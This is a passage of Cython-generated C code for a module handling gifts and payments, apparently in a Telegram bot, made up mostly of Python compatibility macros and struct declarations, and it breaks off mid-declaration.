PYPY_VERSION_NUM >= 0x07020000) +#define __Pyx_PyDict_GetItemStrWithError PyDict_GetItemWithError +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#else +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStrWithError(PyObject *dict, PyObject *name) { +#if CYTHON_COMPILING_IN_PYPY + return PyDict_GetItem(dict, name); +#else + PyDictEntry *ep; + PyDictObject *mp = (PyDictObject*) dict; + long hash = ((PyStringObject *) name)->ob_shash; + assert(hash != -1); + ep = (mp->ma_lookup)(mp, name, hash); + if (ep == NULL) { + return NULL; + } + return ep->me_value; +#endif +} +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#endif +#if CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyType_GetFlags(tp) (((PyTypeObject *)tp)->tp_flags) + #define __Pyx_PyType_HasFeature(type, feature) ((__Pyx_PyType_GetFlags(type) & (feature)) != 0) + #define __Pyx_PyObject_GetIterNextFunc(obj) (Py_TYPE(obj)->tp_iternext) +#else + #define __Pyx_PyType_GetFlags(tp) (PyType_GetFlags((PyTypeObject *)tp)) + #define __Pyx_PyType_HasFeature(type, feature) PyType_HasFeature(type, feature) + #define __Pyx_PyObject_GetIterNextFunc(obj) PyIter_Next +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyObject_GenericSetAttr((PyObject*)tp, k, v) +#else + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyDict_SetItem(tp->tp_dict, k, v) +#endif +#if CYTHON_USE_TYPE_SPECS && PY_VERSION_HEX >= 0x03080000 +#define __Pyx_PyHeapTypeObject_GC_Del(obj) {\ + PyTypeObject *type = Py_TYPE((PyObject*)obj);\ + assert(__Pyx_PyType_HasFeature(type, Py_TPFLAGS_HEAPTYPE));\ + PyObject_GC_Del(obj);\ + Py_DECREF(type);\ +} +#else +#define __Pyx_PyHeapTypeObject_GC_Del(obj) PyObject_GC_Del(obj) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define CYTHON_PEP393_ENABLED 1 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GetLength(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_ReadChar(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((void)u, 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((void)u, (0)) + #define __Pyx_PyUnicode_DATA(u) ((void*)u) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)k, PyUnicode_ReadChar((PyObject*)(d), i)) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GetLength(u)) +#elif PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) + #define CYTHON_PEP393_ENABLED 1 + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_READY(op) (0) + #else + #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ + 0 : _PyUnicode_Ready((PyObject *)(op))) + #endif + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) + #define __Pyx_PyUnicode_KIND(u) ((int)PyUnicode_KIND(u)) + #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) + #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, (Py_UCS4) ch) + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_LENGTH(u)) + #else + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03090000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : ((PyCompactUnicodeObject *)(u))->wstr_length)) + #else + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) + #endif + #endif +#else + #define CYTHON_PEP393_ENABLED 0 + #define PyUnicode_1BYTE_KIND 1 + #define PyUnicode_2BYTE_KIND 2 + #define PyUnicode_4BYTE_KIND 4 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535U : 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((int)sizeof(Py_UNICODE)) + #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = (Py_UNICODE) ch) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) +#else + #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ + PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #if !defined(PyUnicode_DecodeUnicodeEscape) + #define PyUnicode_DecodeUnicodeEscape(s, size, errors) PyUnicode_Decode(s, size, "unicode_escape", errors) + #endif + #if !defined(PyUnicode_Contains) || (PY_MAJOR_VERSION == 2 && PYPY_VERSION_NUM < 0x07030500) + #undef PyUnicode_Contains + #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) + #endif + #if !defined(PyByteArray_Check) + #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) + #endif + #if !defined(PyObject_Format) + #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) + #endif +#endif +#define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyString_Check(b) && !PyString_CheckExact(b)))) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) +#define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyUnicode_Check(b) && !PyUnicode_CheckExact(b)))) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) +#else + #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) +#endif +#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) + #define PyObject_ASCII(o) PyObject_Repr(o) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBaseString_Type PyUnicode_Type + #define PyStringObject PyUnicodeObject + #define PyString_Type PyUnicode_Type + #define PyString_Check PyUnicode_Check + #define PyString_CheckExact PyUnicode_CheckExact +#ifndef PyObject_Unicode + #define PyObject_Unicode PyObject_Str +#endif +#endif +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) + #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) +#else + #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) + #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) +#endif +#if CYTHON_COMPILING_IN_CPYTHON + #define __Pyx_PySequence_ListKeepNew(obj)\ + (likely(PyList_CheckExact(obj) && Py_REFCNT(obj) == 1) ? __Pyx_NewRef(obj) : PySequence_List(obj)) +#else + #define __Pyx_PySequence_ListKeepNew(obj) PySequence_List(obj) +#endif +#ifndef PySet_CheckExact + #define PySet_CheckExact(obj) __Pyx_IS_TYPE(obj, &PySet_Type) +#endif +#if PY_VERSION_HEX >= 0x030900A4 + #define __Pyx_SET_REFCNT(obj, refcnt) Py_SET_REFCNT(obj, refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SET_SIZE(obj, size) +#else + #define __Pyx_SET_REFCNT(obj, refcnt) Py_REFCNT(obj) = (refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SIZE(obj) = (size) +#endif +#if CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_PySequence_ITEM(o, i) PySequence_ITEM(o, i) + #define __Pyx_PySequence_SIZE(seq) Py_SIZE(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) (PyTuple_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyList_SET_ITEM(o, i, v) (PyList_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_GET_SIZE(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_GET_SIZE(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_GET_SIZE(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_GET_SIZE(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_GET_SIZE(o) +#else + #define __Pyx_PySequence_ITEM(o, i) PySequence_GetItem(o, i) + #define __Pyx_PySequence_SIZE(seq) PySequence_Size(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) PyTuple_SetItem(o, i, v) + #define __Pyx_PyList_SET_ITEM(o, i, v) PyList_SetItem(o, i, v) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_Size(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_Size(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_Size(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_Size(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_Size(o) +#endif +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyImport_AddModuleRef(name) PyImport_AddModuleRef(name) +#else + static CYTHON_INLINE PyObject *__Pyx_PyImport_AddModuleRef(const char *name) { + PyObject *module = PyImport_AddModule(name); + Py_XINCREF(module); + return module; + } +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyIntObject PyLongObject + #define PyInt_Type PyLong_Type + #define PyInt_Check(op) PyLong_Check(op) + #define PyInt_CheckExact(op) PyLong_CheckExact(op) + #define __Pyx_Py3Int_Check(op) PyLong_Check(op) + #define __Pyx_Py3Int_CheckExact(op) PyLong_CheckExact(op) + #define PyInt_FromString PyLong_FromString + #define PyInt_FromUnicode PyLong_FromUnicode + #define PyInt_FromLong PyLong_FromLong + #define PyInt_FromSize_t PyLong_FromSize_t + #define PyInt_FromSsize_t PyLong_FromSsize_t + #define PyInt_AsLong PyLong_AsLong + #define PyInt_AS_LONG PyLong_AS_LONG + #define PyInt_AsSsize_t PyLong_AsSsize_t + #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask + #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask + #define PyNumber_Int PyNumber_Long +#else + #define __Pyx_Py3Int_Check(op) (PyLong_Check(op) || PyInt_Check(op)) + #define __Pyx_Py3Int_CheckExact(op) (PyLong_CheckExact(op) || PyInt_CheckExact(op)) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBoolObject PyLongObject +#endif +#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY + #ifndef PyUnicode_InternFromString + #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) + #endif +#endif +#if PY_VERSION_HEX < 0x030200A4 + typedef long Py_hash_t; + #define __Pyx_PyInt_FromHash_t PyInt_FromLong + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsHash_t +#else + #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsSsize_t +#endif +#if CYTHON_USE_ASYNC_SLOTS + #if PY_VERSION_HEX >= 0x030500B1 + #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods + #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) + #else + #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) + #endif +#else + #define __Pyx_PyType_AsAsync(obj) NULL +#endif +#ifndef __Pyx_PyAsyncMethodsStruct + typedef struct { + unaryfunc am_await; + unaryfunc am_aiter; + unaryfunc am_anext; + } __Pyx_PyAsyncMethodsStruct; +#endif + +#if defined(_WIN32) || defined(WIN32) || defined(MS_WINDOWS) + #if !defined(_USE_MATH_DEFINES) + #define _USE_MATH_DEFINES + #endif +#endif +#include +#ifdef NAN +#define __PYX_NAN() ((float) NAN) +#else +static CYTHON_INLINE float __PYX_NAN() { + float value; + memset(&value, 0xFF, sizeof(value)); + return value; +} +#endif +#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) +#define __Pyx_truncl trunc +#else +#define __Pyx_truncl truncl +#endif + +#define __PYX_MARK_ERR_POS(f_index, lineno) \ + { __pyx_filename = __pyx_f[f_index]; (void)__pyx_filename; __pyx_lineno = lineno; (void)__pyx_lineno; __pyx_clineno = __LINE__; (void)__pyx_clineno; } +#define __PYX_ERR(f_index, lineno, Ln_error) \ + { __PYX_MARK_ERR_POS(f_index, lineno) goto Ln_error; } + +#ifdef CYTHON_EXTERN_C + #undef __PYX_EXTERN_C + #define __PYX_EXTERN_C CYTHON_EXTERN_C +#elif defined(__PYX_EXTERN_C) + #ifdef _MSC_VER + #pragma message ("Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead.") + #else + #warning Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead. + #endif +#else + #ifdef __cplusplus + #define __PYX_EXTERN_C extern "C" + #else + #define __PYX_EXTERN_C extern + #endif +#endif + +#define __PYX_HAVE__handlers__payments__gift +#define __PYX_HAVE_API__handlers__payments__gift +/* Early includes */ +#ifdef _OPENMP +#include +#endif /* _OPENMP */ + +#if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS) +#define CYTHON_WITHOUT_ASSERTIONS +#endif + +typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; + const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; + +#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_UTF8 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT (PY_MAJOR_VERSION >= 3 && __PYX_DEFAULT_STRING_ENCODING_IS_UTF8) +#define __PYX_DEFAULT_STRING_ENCODING "" +#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString +#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#define __Pyx_uchar_cast(c) ((unsigned char)c) +#define __Pyx_long_cast(x) ((long)x) +#define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ + (sizeof(type) < sizeof(Py_ssize_t)) ||\ + (sizeof(type) > sizeof(Py_ssize_t) &&\ + likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX) &&\ + (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ + v == (type)PY_SSIZE_T_MIN))) ||\ + (sizeof(type) == sizeof(Py_ssize_t) &&\ + (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX))) ) +static CYTHON_INLINE int __Pyx_is_valid_index(Py_ssize_t i, Py_ssize_t limit) { + return (size_t) i < (size_t) limit; +} +#if defined (__cplusplus) && __cplusplus >= 201103L + #include + #define __Pyx_sst_abs(value) std::abs(value) +#elif SIZEOF_INT >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) abs(value) +#elif SIZEOF_LONG >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) labs(value) +#elif defined (_MSC_VER) + #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value)) +#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define __Pyx_sst_abs(value) llabs(value) +#elif defined (__GNUC__) + #define __Pyx_sst_abs(value) __builtin_llabs(value) +#else + #define __Pyx_sst_abs(value) ((value<0) ? -value : value) +#endif +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s); +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*); +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char*); +#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) +#define __Pyx_PyBytes_FromString PyBytes_FromString +#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); +#if PY_MAJOR_VERSION < 3 + #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#else + #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize +#endif +#define __Pyx_PyBytes_AsWritableString(s) ((char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableSString(s) ((signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableUString(s) ((unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsString(s) ((const char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsSString(s) ((const signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsUString(s) ((const unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyObject_AsWritableString(s) ((char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableSString(s) ((signed char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) +#define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) +#define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) +#define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) +#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) +#define __Pyx_PyUnicode_FromOrdinal(o) PyUnicode_FromOrdinal((int)o) +#define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode +#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) +#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b); +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject*); +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); +#define __Pyx_PySequence_Tuple(obj)\ + (likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj)) +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject*); +#if CYTHON_ASSUME_SAFE_MACROS +#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) +#else +#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) +#endif +#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) +#else +#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) +#endif +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_VERSION_HEX >= 0x030C00A7 + #ifndef _PyLong_SIGN_MASK + #define _PyLong_SIGN_MASK 3 + #endif + #ifndef _PyLong_NON_SIZE_BITS + #define _PyLong_NON_SIZE_BITS 3 + #endif + #define __Pyx_PyLong_Sign(x) (((PyLongObject*)x)->long_value.lv_tag & _PyLong_SIGN_MASK) + #define __Pyx_PyLong_IsNeg(x) ((__Pyx_PyLong_Sign(x) & 2) != 0) + #define __Pyx_PyLong_IsNonNeg(x) (!__Pyx_PyLong_IsNeg(x)) + #define __Pyx_PyLong_IsZero(x) (__Pyx_PyLong_Sign(x) & 1) + #define __Pyx_PyLong_IsPos(x) (__Pyx_PyLong_Sign(x) == 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) (__Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) ((Py_ssize_t) (((PyLongObject*)x)->long_value.lv_tag >> _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_SignedDigitCount(x)\ + ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * __Pyx_PyLong_DigitCount(x)) + #if defined(PyUnstable_Long_IsCompact) && defined(PyUnstable_Long_CompactValue) + #define __Pyx_PyLong_IsCompact(x) PyUnstable_Long_IsCompact((PyLongObject*) x) + #define __Pyx_PyLong_CompactValue(x) PyUnstable_Long_CompactValue((PyLongObject*) x) + #else + #define __Pyx_PyLong_IsCompact(x) (((PyLongObject*)x)->long_value.lv_tag < (2 << _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_CompactValue(x) ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * (Py_ssize_t) __Pyx_PyLong_Digits(x)[0]) + #endif + typedef Py_ssize_t __Pyx_compact_pylong; + typedef size_t __Pyx_compact_upylong; + #else + #define __Pyx_PyLong_IsNeg(x) (Py_SIZE(x) < 0) + #define __Pyx_PyLong_IsNonNeg(x) (Py_SIZE(x) >= 0) + #define __Pyx_PyLong_IsZero(x) (Py_SIZE(x) == 0) + #define __Pyx_PyLong_IsPos(x) (Py_SIZE(x) > 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) ((Py_SIZE(x) == 0) ? 0 : __Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) __Pyx_sst_abs(Py_SIZE(x)) + #define __Pyx_PyLong_SignedDigitCount(x) Py_SIZE(x) + #define __Pyx_PyLong_IsCompact(x) (Py_SIZE(x) == 0 || Py_SIZE(x) == 1 || Py_SIZE(x) == -1) + #define __Pyx_PyLong_CompactValue(x)\ + ((Py_SIZE(x) == 0) ? (sdigit) 0 : ((Py_SIZE(x) < 0) ? -(sdigit)__Pyx_PyLong_Digits(x)[0] : (sdigit)__Pyx_PyLong_Digits(x)[0])) + typedef sdigit __Pyx_compact_pylong; + typedef digit __Pyx_compact_upylong; + #endif + #if PY_VERSION_HEX >= 0x030C00A5 + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->long_value.ob_digit) + #else + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->ob_digit) + #endif +#endif +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII +#include +static int __Pyx_sys_getdefaultencoding_not_ascii; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + PyObject* ascii_chars_u = NULL; + PyObject* ascii_chars_b = NULL; + const char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + if (strcmp(default_encoding_c, "ascii") == 0) { + __Pyx_sys_getdefaultencoding_not_ascii = 0; + } else { + char ascii_chars[128]; + int c; + for (c = 0; c < 128; c++) { + ascii_chars[c] = (char) c; + } + __Pyx_sys_getdefaultencoding_not_ascii = 1; + ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); + if (!ascii_chars_u) goto bad; + ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); + if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { + PyErr_Format( + PyExc_ValueError, + "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", + default_encoding_c); + goto bad; + } + Py_DECREF(ascii_chars_u); + Py_DECREF(ascii_chars_b); + } + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + Py_XDECREF(ascii_chars_u); + Py_XDECREF(ascii_chars_b); + return -1; +} +#endif +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) +#else +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#include +static char* __PYX_DEFAULT_STRING_ENCODING; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c) + 1); + if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; + strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + return -1; +} +#endif +#endif + + +/* Test for GCC > 2.95 */ +#if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) + #define likely(x) __builtin_expect(!!(x), 1) + #define unlikely(x) __builtin_expect(!!(x), 0) +#else /* !__GNUC__ or GCC < 2.95 */ + #define likely(x) (x) + #define unlikely(x) (x) +#endif /* __GNUC__ */ +static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; } + +#if !CYTHON_USE_MODULE_STATE +static PyObject *__pyx_m = NULL; +#endif +static int __pyx_lineno; +static int __pyx_clineno = 0; +static const char * __pyx_cfilenm = __FILE__; +static const char *__pyx_filename; + +/* #### Code section: filename_table ### */ + +static const char *__pyx_f[] = { + "handlers/payments/gift.py", +}; +/* #### Code section: utility_code_proto_before_types ### */ +/* ForceInitThreads.proto */ +#ifndef __PYX_FORCE_INIT_THREADS + #define __PYX_FORCE_INIT_THREADS 0 +#endif + +/* #### Code section: numeric_typedefs ### */ +/* #### Code section: complex_type_declarations ### */ +/* #### Code section: type_declarations ### */ + +/*--- Type declarations ---*/ +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler; +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler; +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler; +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler; +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler; +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code; + +/* "handlers/payments/gift.py":26 + * + * + * @router.callback_query(F.data == "gifts") # <<<<<<<<<<<<<< + * async def start_menu_handler(callback_query: types.CallbackQuery): + * """ 'start'. ' ' ' '.""" + */ +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; +}; + + +/* "handlers/payments/gift.py":42 + * + * + * @router.callback_query(F.data == "my_gifts") # <<<<<<<<<<<<<< + * async def my_gifts_handler(callback_query: types.CallbackQuery, session: Any): + * """ ' '. .""" + */ +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_expiry_time; + PyObject *__pyx_v_gift; + PyObject *__pyx_v_gifts; + PyObject *__pyx_v_gifts_text; + 